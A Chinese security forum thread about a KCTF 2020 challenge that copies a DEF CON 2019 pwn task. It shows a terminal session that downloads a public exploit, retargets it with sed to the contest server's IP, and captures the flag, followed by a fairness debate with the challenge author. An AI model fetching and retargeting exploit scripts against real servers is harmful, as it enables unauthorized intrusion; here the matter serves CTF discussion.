首页
社区
课程
招聘
[建议] 看雪.安恒2020 KCTF春季赛 第五题 闻鸡起舞
2020-4-24 10:50 4566

[建议] 看雪.安恒2020 KCTF春季赛 第五题 闻鸡起舞

2020-4-24 10:50
4566

建议同时取消本题攻击方、防守方的分数

分析

下载程序之后,参与过 2019 年的 DEF CON CTF Qualifier 的人就会感觉到一股熟悉,没错,这个程序正是原封原样照抄的,只改了提示的字符串,甚至连 write 的时候的长度都没改,导致输出的提示长的不太正常(多了个 "\x00S")。

 

在放出的第一天没有人提交 flag,是因为部署到了 Ubuntu 16.04 上,而 16.04 的 libc 恰好破坏了程序中埋的 secret 未擦除的 bug。当然,通过这里描述的解法也还是能解的,不过要针对远程环境调一下 cacheline grooming 的样子,还要跑一个 16-bit 的暴力,估计吓退了一些人吧。

解决

直接拿以前的 exploit 运行即可。或者直接下载运行别人写好的 exploit:

$ wget 'https://github.com/david942j/ctf-writeups/raw/master/defcon-quals-2019/hotel-california/hotel.py'
--2020-04-24 10:31:22--  https://github.com/david942j/ctf-writeups/raw/master/defcon-quals-2019/hotel-california/hotel.py
Resolving github.com (github.com)... 15.164.81.167
Connecting to github.com (github.com)|15.164.81.167|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/david942j/ctf-writeups/master/defcon-quals-2019/hotel-california/hotel.py [following]
--2020-04-24 10:31:22--  https://raw.githubusercontent.com/david942j/ctf-writeups/master/defcon-quals-2019/hotel-california/hotel.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1244 (1.2K) [text/plain]
Saving to: ‘hotel.py’

hotel.py                                                  100%[=====================================================================================================================================>]   1.21K  --.-KB/s    in 0s

2020-04-24 10:31:23 (19.6 MB/s) - ‘hotel.py’ saved [1244/1244]

$ sed -i s/hotelcalifornia.quals2019.oooverflow.io/47.102.223.17/g hotel.py
$ sed -i s/7777/10000/g hotel.py
$ sed -i s/FLAG.txt/flag/g hotel.py
$ python hotel.py mdzz
<...略...>
[*] Switching to interactive mode
Welcome to the 2020kanxueCTF.
\x00
S
Shellcode > \x00
(get 1024 bytes)
We are We failed!

Shellcode > \x00
(get 0 bytes)
flag{a01e62c0-17f8-4ec9-8be6-37e0a768f5d8}
[*] Closed connection to 47.102.223.17 port 10000
[*] Got EOF while reading in interactive

如果这样的题目分数都保留,这比赛还有什么意义?


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-4-24 19:15 被kanxue编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 1057
活跃值: (86)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
DayJun 2020-4-24 12:14
2
0
这题防守方不配有分数
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
0xbird 7 2020-4-24 12:20
3
1
题目是我这边出的,其实是patch了其中的一个漏洞的,后面的unsorted bin堆分配也做了修改,当时改这个题是因为觉得Intel CPU 的 TSX漏洞在国内讨论还是挺少的,这个题目对于学习TSX漏洞很有帮助,毕竟国内去看defcon题目的人还是少数,比赛也不是为了难为选手,原来的exp我测试是无法跑通的,正常解法是修改xtest完成内存开锁,我这边取消分数没有问题。
雪    币: 6435
活跃值: (436)
能力值: ( LV12,RANK:831 )
在线值:
发帖
回帖
粉丝
Riatre 8 2020-4-24 13:21
4
0
0xbird 题目是我这边出的,其实是patch了其中的一个漏洞的,后面的unsorted bin堆分配也做了修改,当时改这个题是因为觉得Intel CPU 的 TSX漏洞在国内讨论还是挺少的,这个题目对于学习TS ...
感谢作者出来说明。

我这边考虑过是补掉了其中的一个 bug,因为的确补掉这个 bug 之后仍然是可解的,但晚上组织方重新部署了这个题目,让原来的 exploit 可以跑通,就造成了问题。

两点建议:
1. 出基于以前的题目修改的题目的时候应该明确给出引用,确保每个人都知道这道题目在历史上曾经出现过的时间、名字。否则在公平性上恐怕会有争议。
2. 这种题目依赖于环境可能造成预料之外的解法的情况提前和组织方沟通好,说明确实是故意采用某种环境的,避免误会。
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
0xbird 7 2020-4-24 13:25
5
0
Riatre 感谢作者出来说明。 我这边考虑过是补掉了其中的一个 bug,因为的确补掉这个 bug 之后仍然是可解的,但晚上组织方重新部署了这个题目,让原来的 exploit 可以跑通,就造成了问题。 ...
晚上有师傅说云环境无法触发漏洞,所以紧急更换了服务器,确实是歪打正着踩坑了,以后会更加严谨一些。
雪    币: 16150
活跃值: (5921)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2020-4-24 14:27
6
0
0xbird 晚上有师傅说云环境无法触发漏洞,所以紧急更换了服务器,确实是歪打正着踩坑了,以后会更加严谨一些。
看来是作者踩坑里了
游客
登录 | 注册 方可回帖
返回